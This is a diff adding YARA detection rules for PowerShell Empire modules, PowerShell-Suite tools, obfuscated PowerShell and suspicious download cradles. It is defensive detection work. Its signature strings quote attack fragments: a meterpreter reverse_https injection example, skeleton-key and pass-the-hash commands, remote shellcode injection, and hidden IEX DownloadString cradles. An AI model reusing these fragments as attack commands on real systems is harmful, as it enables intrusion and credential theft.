+	Date: 2015-08-07
+	Identifier: Empire Powershell Agent
+	Comment: Reduced Subset
+*/
+
+rule Empire_Invoke_BypassUAC {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-BypassUAC.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "ab0f900a6915b7497313977871a64c3658f3e6f73f11b03d2d33ca61305dc6a8"
+		id = "8454d929-e184-5be1-b61f-4dfa8f44bdda"
+	strings:
+		$s1 = "$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii 
+		$s2 = "$proc = Start-Process -WindowStyle Hidden notepad.exe -PassThru" fullword ascii 
+		$s3 = "$Payload = Invoke-PatchDll -DllBytes $Payload -FindString \"ExitThread\" -ReplaceString \"ExitProcess\"" fullword ascii 
+		$s4 = "$temp = [System.Text.Encoding]::UNICODE.GetBytes($szTempDllPath)" fullword ascii 
+	condition:
+		filesize < 1200KB and 3 of them
+}
+
+rule Empire_lib_modules_trollsploit_message {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file message.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "71f2258177eb16eafabb110a9333faab30edacf67cb019d5eab3c12d095655d5"
+		id = "cb0eee5a-c236-512e-8256-7411a7fb1fd5"
+	strings:
+		$s1 = "script += \" -\" + str(option) + \" \\\"\" + str(values['Value'].strip(\"\\\"\")) + \"\\\"\"" fullword ascii 
+		$s2 = "if option.lower() != \"agent\" and option.lower() != \"computername\":" fullword ascii 
+		$s3 = "[String] $Title = 'ERROR - 0xA801B720'" fullword ascii 
+		$s4 = "'Value'         :   'Lost contact with the Domain Controller.'" fullword ascii 
+	condition:
+		filesize < 10KB and 3 of them
+}
+
+rule Empire_Persistence {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Persistence.psm1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "ae8875f7fcb8b4de5cf9721a9f5a9f7782f7c436c86422060ecdc5181e31092f"
+		id = "0f63b5f4-f933-5821-b0b0-50717e75f6d9"
+	strings:
+		$s1 = "C:\\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -V" ascii 
+		$s2 = "# Execute the following to remove the user-level persistent payload" fullword ascii 
+		$s3 = "$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', \"$PersistenceScriptName -Persist\")" fullword ascii 
+	condition:
+		filesize < 108KB and 1 of them
+}
+
+rule Empire_portscan {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file portscan.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "b355efa1e7b3681b1402e22c58ce968795ef245fd08a0afb948d45c173e60b97"
+		id = "23a0f769-9155-5aa0-9200-2baf827bdda4"
+	strings:
+		$s1 = "script += \"Invoke-PortScan -noProgressMeter -f\"" fullword ascii 
+		$s2 = "script += \" | ? {$_.alive}| Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | Out-Str" ascii 
+	condition:
+		filesize < 14KB and all of them
+}
+
+rule Empire_Invoke_Shellcode {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Shellcode.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "fa75cfd57269fbe3ad6bdc545ee57eb19335b0048629c93f1dc1fe1059f60438"
+		id = "41788f71-cc99-50b3-bdc7-17b132ab2767"
+	strings:
+		$s1 = "C:\\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbos" ascii 
+		$s2 = "\"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!\" ) )" fullword ascii 
+		$s3 = "$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)" fullword ascii 
+	condition:
+		filesize < 100KB and 1 of them
+}
+
+rule Empire_Invoke_Mimikatz {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Mimikatz.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "c5481864b757837ecbc75997fa24978ffde3672b8a144a55478ba9a864a19466"
+		id = "f7d6c1c4-2a24-54fd-b745-32d7894affc8"
+	strings:
+		$s1 = "$PEBytes64 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwc" ascii 
+		$s2 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)" fullword ascii 
+		$s3 = "Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp" fullword ascii 
+	condition:
+		filesize < 2500KB and 2 of them
+}
+
+rule Empire_lib_modules_credentials_mimikatz_pth {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file pth.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "6dee1cf931e02c5f3dc6889e879cc193325b39e18409dcdaf987b8bf7c459211"
+		id = "f954b7e8-e820-5111-ba8d-a9b9779381b0"
+	strings:
+		$s0 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii 
+		$s1 = "command = \"sekurlsa::pth /user:\"+self.options[\"user\"]['Value']" fullword ascii 
+	condition:
+		filesize < 12KB and all of them
+}
+
+rule Empire_Write_HijackDll {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Write-HijackDll.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "155fa7168e28f15bb34f67344f47234a866e2c63b3303422ff977540623c70bf"
+		id = "6a80af21-fb01-5996-b14d-44ff55b7fb3e"
+	strings:
+		$s1 = "$DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString \"debug.bat\" -ReplaceString $BatchPath" fullword ascii 
+		$s2 = "$DllBytes32 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBw" ascii 
+		$s3 = "[Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32)" fullword ascii 
+	condition:
+		filesize < 500KB and 2 of them
+}
+
+rule Empire_skeleton_key {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file skeleton_key.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "3d02f16dcc38faaf5e97e4c5dbddf761f2816004775e6af8826cde9e29bb750f"
+		id = "d508e09e-13e8-5866-bb5b-0d886f960bb5"
+	strings:
+		$s1 = "script += \"Invoke-Mimikatz -Command '\\\"\" + command + \"\\\"';\"" fullword ascii 
+		$s2 = "script += '\"Skeleton key implanted. Use password \\'mimikatz\\' for access.\"'" fullword ascii 
+		$s3 = "command = \"misc::skeleton\"" fullword ascii 
+		$s4 = "\"ONLY APPLICABLE ON DOMAIN CONTROLLERS!\")," fullword ascii 
+	condition:
+		filesize < 6KB and 2 of them
+}
+
+rule Empire_invoke_wmi {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file invoke_wmi.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "a914cb227f652734a91d3d39745ceeacaef7a8b5e89c1beedfd6d5f9b4615a1d"
+		id = "1e1d1e71-6ea9-500a-b8b8-c48a64bc2b54"
+	strings:
+		$s1 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii 
+		$s2 = "script += \";'Invoke-Wmi executed on \" +computerNames +\"'\"" fullword ascii 
+		$s3 = "script = \"$PSPassword = \\\"\"+password+\"\\\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Man" ascii 
+	condition:
+		filesize < 20KB and 2 of them
+}
diff --git a/yara-Neo23x0/gen_powershell_invocation.yar b/yara-Neo23x0/gen_powershell_invocation.yar
new file mode 100644
index 0000000..a74a36b
--- /dev/null
+++ b/yara-Neo23x0/gen_powershell_invocation.yar
@@ -0,0 +1,76 @@
+
+rule PowerShell_Susp_Parameter_Combo : HIGHVOL FILE {
+   meta:
+      description = "Detects PowerShell invocation with suspicious parameters"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/uAic1X"
+      date = "2017-03-12"
+      modified = "2022-09-15"
+      score = 60
+      id = "17c707f3-7f51-5772-9874-a96c220960a7"
+   strings:
+      /* Encoded Command */
+      $sa1 = " -enc " ascii wide nocase
+      $sa2 = " -EncodedCommand " ascii wide nocase
+      $sa3 = " /enc " ascii wide nocase
+      $sa4 = " /EncodedCommand " ascii wide nocase
+
+      /* Window Hidden */
+      $sb1 = " -w hidden " ascii wide nocase
+      $sb2 = " -window hidden " ascii wide nocase
+      $sb3 = " -windowstyle hidden " ascii wide nocase
+      $sb4 = " /w hidden " ascii wide nocase
+      $sb5 = " /window hidden " ascii wide nocase
+      $sb6 = " /windowstyle hidden " ascii wide nocase
+
+      /* Non Profile */
+      $sc1 = " -nop " ascii wide nocase
+      $sc2 = " -noprofile " ascii wide nocase
+      $sc3 = " /nop " ascii wide nocase
+      $sc4 = " /noprofile " ascii wide nocase
+
+      /* Non Interactive */
+      $sd1 = " -noni " ascii wide nocase
+      $sd2 = " -noninteractive " ascii wide nocase
+      $sd3 = " /noni " ascii wide nocase
+      $sd4 = " /noninteractive " ascii wide nocase
+
+      /* Exec Bypass */
+      $se1 = " -ep bypass " ascii wide nocase
+      $se2 = " -exec bypass " ascii wide nocase
+      $se3 = " -executionpolicy bypass " ascii wide nocase
+      $se4 = " -exec bypass " ascii wide nocase
+      $se5 = " /ep bypass " ascii wide nocase
+      $se6 = " /exec bypass " ascii wide nocase
+      $se7 = " /executionpolicy bypass " ascii wide nocase
+      $se8 = " /exec bypass " ascii wide nocase
+
+      /* Single Threaded - PowerShell Empire */
+      $sf1 = " -sta " ascii wide
+      $sf2 = " /sta " ascii wide
+
+      $fp1 = "Chocolatey Software" ascii wide
+      $fp2 = "VBOX_MSI_INSTALL_PATH" ascii wide
+      $fp3 = "\\Local\\Temp\\en-US.ps1" ascii wide
+      $fp4 = "Lenovo Vantage - Battery Gauge Helper" wide fullword
+      $fp5 = "\\LastPass\\lpwinmetro\\AppxUpgradeUwp.ps1" ascii
+      $fp6 = "# use the encoded form to mitigate quoting complications that full scriptblock transfer exposes" ascii /* MS TSSv2 - https://docs.microsoft.com/en-us/troubleshoot/windows-client/windows-troubleshooters/introduction-to-troubleshootingscript-toolset-tssv2 */
+      $fp7 = "Write-AnsibleLog \"INFO - s" ascii
+      $fp8 = "\\Packages\\Matrix42\\" ascii
+      $fp9 = "echo " ascii
+      $fp10 = "install" ascii fullword
+      $fp11 = "REM " ascii
+      $fp12 = "set /p " ascii
+      $fp13 = "rxScan Application" wide
+
+      $fpa1 = "All Rights"
+      $fpa2 = "<html"
+      $fpa2b = "<HTML"
+      $fpa3 = "Copyright"
+      $fpa4 = "License"
+      $fpa5 = "<?xml"
+      $fpa6 = "Help" fullword
+      $fpa7 = "COPYRIGHT"
+   condition:
+      filesize < 3000KB and 4 of ($s*) and not 1 of ($fp*) and uint32be(0) != 0x456C6646 /* EVTX - we don't wish to mix the entries together */
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_powershell_obfuscation.yar b/yara-Neo23x0/gen_powershell_obfuscation.yar
new file mode 100644
index 0000000..5842402
--- /dev/null
+++ b/yara-Neo23x0/gen_powershell_obfuscation.yar
@@ -0,0 +1,75 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-22
+   Identifier: ISESteroids
+   Reference: https://twitter.com/danielhbohannon/status/877953970437844993
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PowerShell_ISESteroids_Obfuscation {
+   meta:
+      description = "Detects PowerShell ISESteroids obfuscation"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/danielhbohannon/status/877953970437844993"
+      date = "2017-06-23"
+      id = "d686c4de-28fd-5d77-91d4-dde5661b75cd"
+   strings:
+      $x1 = "/\\/===\\__" ascii
+      $x2 = "${__/\\/==" ascii
+      $x3 = "Catch { }" fullword ascii
+      $x4 = "\\_/=} ${_" ascii
+   condition:
+      2 of them
+}
+
+rule SUSP_Obfuscted_PowerShell_Code {
+   meta:
+      description = "Detects obfuscated PowerShell Code"
+      date = "2018-12-13"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/silv0123/status/1073072691584880640"
+      id = "e2d8fc9e-ce2b-5118-8305-0d5839561d4f"
+   strings:
+      $s1 = "').Invoke(" ascii
+      $s2 = "(\"{1}{0}\"" ascii
+      $s3 = "{0}\" -f" ascii
+   condition:
+      #s1 > 11 and #s2 > 10 and #s3 > 10
+}
+
+rule SUSP_PowerShell_Caret_Obfuscation_2 {
+   meta:
+      description = "Detects powershell keyword obfuscated with carets"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-07-20"
+      id = "976e261a-029c-5703-835f-a235c5657471"
+   strings:
+      $r1 = /p[\^]?o[\^]?w[\^]?e[\^]?r[\^]?s[\^]?h[\^]?e[\^]?l\^l/ ascii wide nocase fullword
+      $r2 = /p\^o[\^]?w[\^]?e[\^]?r[\^]?s[\^]?h[\^]?e[\^]?l[\^]?l/ ascii wide nocase fullword
+   condition:
+      1 of them
+}
+
+rule SUSP_OBFUSC_PowerShell_True_Jun20_1 {
+   meta:
+      description = "Detects indicators often found in obfuscated PowerShell scripts"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/corneacristian/mimikatz-bypass/"
+      date = "2020-06-27"
+      score = 75
+      id = "e9bb870b-ad72-57d3-beff-2f84a81490eb"
+   strings:
+      $ = "${t`rue}" ascii nocase
+      $ = "${tr`ue}" ascii nocase
+      $ = "${tru`e}" ascii nocase
+      $ = "${t`ru`e}" ascii nocase
+      $ = "${tr`u`e}" ascii nocase
+      $ = "${t`r`ue}" ascii nocase
+      $ = "${t`r`u`e}" ascii nocase
+   condition:
+      filesize < 6000KB and 1 of them
+}
diff --git a/yara-Neo23x0/gen_powershell_suite.yar b/yara-Neo23x0/gen_powershell_suite.yar
new file mode 100644
index 0000000..4dcfa44
--- /dev/null
+++ b/yara-Neo23x0/gen_powershell_suite.yar
@@ -0,0 +1,63 @@
+
+rule PowerShell_Suite_Hacktools_Gen_Strings {
+   meta:
+      description = "Detects strings from scripts in the PowerShell-Suite repo"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/FuzzySecurity/PowerShell-Suite"
+      date = "2017-12-27"
+      hash1 = "79071ba5a984ee05903d566130467483c197cbc2537f25c1e3d7ae4772211fe0"
+      hash2 = "db31367410d0a9ffc9ed37f423a4b082639591be7f46aca91f5be261b23212d5"
+      hash3 = "4f51e7676a4d54c1962760ca0ac81beb28008451511af96652c31f4f40e8eb8e"
+      hash4 = "17ac9bb0c46838c65303f42a4a346fcba838ebd5833b875e81dd65c82701d8a8"
+      hash5 = "fa33aef619e620a88ecccb990e71c1e11ce2445f799979d23be2d1ad4321b6c6"
+      hash6 = "5542bd89005819bc4eef8dfc8a158183e5fd7a1438c84da35102588f5813a225"
+      hash7 = "c6a99faeba098eb411f0a9fcb772abac2af438fc155131ebfc93a00e3dcfad50"
+      hash8 = "a8e06ecf5a8c25619ce85f8a23f2416832cabb5592547609cfea8bd7fcfcc93d"
+      hash9 = "6aa5abf58904d347d441ac8852bd64b2bad3b5b03b518bdd06510931a6564d08"
+      hash10 = "5608f25930f99d78804be8c9c39bd33f4f8d14360dd1e4cc88139aa34c27376d"
+      hash11 = "68b6c0b5479ecede3050a2f44f8bb8783a22beeef4a258c4ff00974f5909b714"
+      hash12 = "da25010a22460bbaabff0f7004204aae7d830348e8a4543177b1f3383b2c3100"
+      id = "afccdd99-da83-5fde-9e21-52220ded1e47"
+   strings:
+      $ = "[!] NtCreateThreadEx failed.." fullword ascii
+      $ = "[?] Executing mmc.." ascii
+      $ = "[!] This method is only supported on 64-bit!" fullword ascii
+      $ = "$LNK = [ShellLink.Shortcut]::FromByteArray($LNKHeader.GetBytes())" fullword ascii
+      $ = "$CallResult = [UACTokenMagic]::TerminateProcess($ShellExecuteInfo.hProcess, 1)" fullword ascii
+      $ = "[!] Unable to open process (as Administrator), this may require SYSTEM access." fullword ascii
+      $ = "[!] Error, NTSTATUS Value: " ascii
+      $ = "[!] UAC artifact: " ascii
+      $ = "[>] Process dump success!" ascii
+      $ = "[!] Process dump failed!" ascii
+      $ = "[+] Eidolon entry point:" fullword ascii
+      $ = "Wait for shellcode to run" fullword ascii
+      $ = "$Command = Read-Host \"`nSMB shell\"" fullword ascii
+      $ = "Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines." fullword ascii
+      $ = "Invoke-CreateProcess -Binary C:\\Windows\\System32\\" ascii
+      $ = "[?] Thread belongs to: " ascii
+      $ = "[?] Operating system core count: " ascii
+      $ = "[>] Calling Advapi32::LookupPrivilegeValue --> SeDebugPrivilege" fullword ascii
+      $ = "Calling Advapi32::OpenProcessToken --> LSASS" ascii
+      $ = "[!] Mmm, something went wrong! GetLastError returned:" ascii
+      $ = "if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ')" fullword ascii
+   condition:
+      filesize < 100KB and 1 of them
+}
+
+rule PowerShell_Suite_Eidolon {
+   meta:
+      description = "Detects PowerShell Suite Eidolon script - file Start-Eidolon.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/FuzzySecurity/PowerShell-Suite"
+      date = "2017-12-27"
+      hash1 = "db31367410d0a9ffc9ed37f423a4b082639591be7f46aca91f5be261b23212d5"
+      id = "5440d8fc-b939-556f-a8a0-ef5feb29e32f"
+   strings:
+      $ = "[+] Eidolon entry point:" ascii
+      $ = "C:\\PS> Start-Eidolon -Target C:\\Some\\File.Path -Mimikatz -Verbose" fullword ascii
+      $ = "[Int16]$PEArch = '0x{0}' -f ((($PayloadBytes[($OptOffset+1)..($OptOffset)]) | % {$_.ToString('X2')}) -join '')" fullword ascii
+   condition:
+      uint16(0) == 0x7566 and filesize < 13000KB and 1 of them
+}
diff --git a/yara-Neo23x0/gen_powershell_susp.yar b/yara-Neo23x0/gen_powershell_susp.yar
new file mode 100644
index 0000000..80e4475
--- /dev/null
+++ b/yara-Neo23x0/gen_powershell_susp.yar
@@ -0,0 +1,284 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-02-23
+   Identifier: Suspicious PowerShell Script Code
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WordDoc_PowerShell_URLDownloadToFile {
+   meta:
+      description = "Detects Word Document with PowerShell URLDownloadToFile"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.arbornetworks.com/blog/asert/additional-insights-shamoon2/"
+      date = "2017-02-23"
+      super_rule = 1
+      hash1 = "33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e"
+      hash2 = "388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d"
+      hash3 = "71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087"
+      id = "f76c5f91-f67c-5754-b771-73383aba4d64"
+   strings:
+      $w1 = "Microsoft Forms 2.0 CommandButton" fullword ascii
+      $w2 = "Microsoft Word 97-2003 Document" fullword ascii
+
+      $p1 = "powershell.exe" fullword ascii
+      $p2 = "URLDownloadToFile" fullword ascii
+   condition:
+      ( uint16(0) == 0xcfd0 and 1 of ($w*) and all of ($p*) )
+}
+
+rule Suspicious_PowerShell_Code_1 : FILE {
+   meta:
+      description = "Detects suspicious PowerShell code"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+		score = 60
+      reference = "Internal Research"
+      date = "2017-02-22"
+      id = "ec3c3682-d2de-52b7-bb49-b021ddf7f8ac"
+   strings:
+      $s1 = /$[a-z]=new-object net.webclient/ ascii
+      $s2 = /$[a-z].DownloadFile\("http:/ ascii
+      $s3 = /IEX $[a-zA-Z]{1,8}.downloadstring\(["']http/ ascii nocase
+		$s4 = "powershell.exe -w hidden -ep bypass -Enc" ascii
+		$s5 = "-w hidden -noni -nop -c \"iex(New-Object" ascii
+		$s6 = "powershell.exe reg add HKCU\\software\\microsoft\\windows\\currentversion\\run" nocase
+   condition:
+      1 of them
+}
+
+rule Suspicious_PowerShell_WebDownload_1 : HIGHVOL FILE {
+   meta:
+      description = "Detects suspicious PowerShell code that downloads from web sites"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 60
+      reference = "Internal Research"
+      date = "2017-02-22"
+      modified = "2024-04-03"
+      nodeepdive = 1
+      id = "a763fb82-c840-531b-b631-f282bf035020"
+   strings:
+      $s1 = "System.Net.WebClient).DownloadString(\"http" ascii nocase
+      $s2 = "System.Net.WebClient).DownloadString('http" ascii nocase
+      $s3 = "system.net.webclient).downloadfile('http" ascii nocase
+      $s4 = "system.net.webclient).downloadfile(\"http" ascii nocase
+      $s5 = "GetString([Convert]::FromBase64String(" ascii nocase
+
+      $fp1 = "NuGet.exe" ascii fullword
+      $fp2 = "chocolatey.org" ascii
+      $fp3 = " GET /"
+      $fp4 = " POST /"
+      $fp5 = ".DownloadFile('https://aka.ms/installazurecliwindows', 'AzureCLI.msi')" ascii
+      $fp6 = " 404 " /* in web server logs */
+      $fp7 = "# RemoteSSHConfigurationScript" ascii /* \.vscode\extensions\ms-vscode-remote.remote-ssh */
+      $fp8 = "<helpItems" ascii fullword
+      $fp9 = "DownloadFile(\"https://codecov.io/bash" ascii
+      $fp10 = "DownloadFile('https://get.golang.org/installer.exe" ascii
+
+      $fpg1 = "All Rights"
+      $fpg2 = "<html"
+      $fpg3 = "<HTML"
+      $fpg4 = "Copyright"
+      $fpg5 = "License"
+      $fpg6 = "<?xml"
+      $fpg7 = "Help" fullword
+      $fpg8 = "COPYRIGHT" fullword
+   condition:
+      1 of ($s*) and not 1 of ($fp*)
+}
+
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-27
+   Identifier: Misc
+   Reference: Internal Research
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PowerShell_in_Word_Doc {
+   meta:
+      description = "Detects a powershell and bypass keyword in a Word document"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - ME"
+      date = "2017-06-27"
+      score = 50
+      hash1 = "4fd4a7b5ef5443e939015276fc4bf8ffa6cf682dd95845ef10fdf8158fdd8905"
+      id = "c9d073ff-25c6-5751-92bf-e22ae7cfd5f5"
+   strings:
+      $s1 = "POwErSHELl.ExE" fullword ascii nocase
+      $s2 = "BYPASS" fullword ascii nocase
+   condition:
+      ( uint16(0) == 0xcfd0 and filesize < 1000KB and all of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-09-30
+   Identifier: PowerShell with VBS and JS
+   Reference: Internal Research
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Susp_PowerShell_Sep17_1 {
+   meta:
+      description = "Detects suspicious PowerShell script in combo with VBS or JS "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-09-30"
+      score = 60
+      hash1 = "8e28521749165d2d48bfa1eac685c985ac15fc9ca5df177d4efadf9089395c56"
+      id = "6d4b9113-173f-5c12-b440-7f1cef9e6ebb"
+   strings:
+      $x1 = "Process.Create(\"powershell.exe -nop -w hidden" fullword ascii nocase
+      $x2 = ".Run\"powershell.exe -nop -w hidden -c \"\"IEX " ascii
+
+      $s1 = "window.resizeTo 0,0" fullword ascii
+   condition:
+      ( filesize < 2KB and 1 of them )
+}
+
+rule Susp_PowerShell_Sep17_2 {
+   meta:
+      description = "Detects suspicious PowerShell script in combo with VBS or JS "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-09-30"
+      hash1 = "e387f6c7a55b85e0675e3b91e41e5814f5d0ae740b92f26ddabda6d4f69a8ca8"
+      id = "e44d1dfc-0858-5248-a57f-efb5c647f4cc"
+   strings:
+      $x1 = ".Run \"powershell.exe -nop -w hidden -e " ascii
+      $x2 = "FileExists(path + \"\\..\\powershell.exe\")" fullword ascii
+      $x3 = "window.moveTo -4000, -4000" fullword ascii
+
+      $s1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii
+   condition:
+      filesize < 20KB and (
+         ( uint16(0) == 0x733c and 1 of ($x*) )
+          or 2 of them
+      )
+}
+
+rule WScript_Shell_PowerShell_Combo {
+   meta:
+      description = "Detects malware from Middle Eastern campaign reported by Talos"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+      date = "2018-02-07"
+      score = 50
+      hash1 = "15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b"
+      id = "265ec471-d9ed-5cb6-a32b-cfa62fccdf64"
+   strings:
+      $s1 = ".CreateObject(\"WScript.Shell\")" ascii
+
+      $p1 = "powershell.exe" fullword ascii
+      $p2 = "-ExecutionPolicy Bypass" fullword ascii
+      $p3 = "[System.Convert]::FromBase64String(" ascii
+
+      $fp1 = "Copyright: Microsoft Corp." ascii
+   condition:
+      filesize < 400KB and $s1 and 1 of ($p*)
+      and not 1 of ($fp*)
+}
+
+rule SUSP_PowerShell_String_K32_RemProcess {
+   meta:
+      description = "Detects suspicious PowerShell code that uses Kernel32, RemoteProccess handles or shellcode"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/nccgroup/redsnarf"
+      date = "2018-03-31"
+      hash3 = "54a8dd78ec4798cf034c7765d8b2adfada59ac34d019e77af36dcaed1db18912"
+      hash4 = "6d52cdd74edea68d55c596554f47eefee1efc213c5820d86e64de0853a4e46b3"
+      id = "ad646e19-b132-5594-bea2-d74e96c06ebb"
+   strings:
+      $x1 = "Throw \"Unable to allocate memory in the remote process for shellcode\"" fullword ascii
+      $x2 = "$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke(\"kernel32.dll\")" fullword ascii
+      $s3 = "$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants." ascii
+      $s7 = "if ($RemoteProcHandle -eq [IntPtr]::Zero)" fullword ascii
+      $s8 = "if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))" fullword ascii
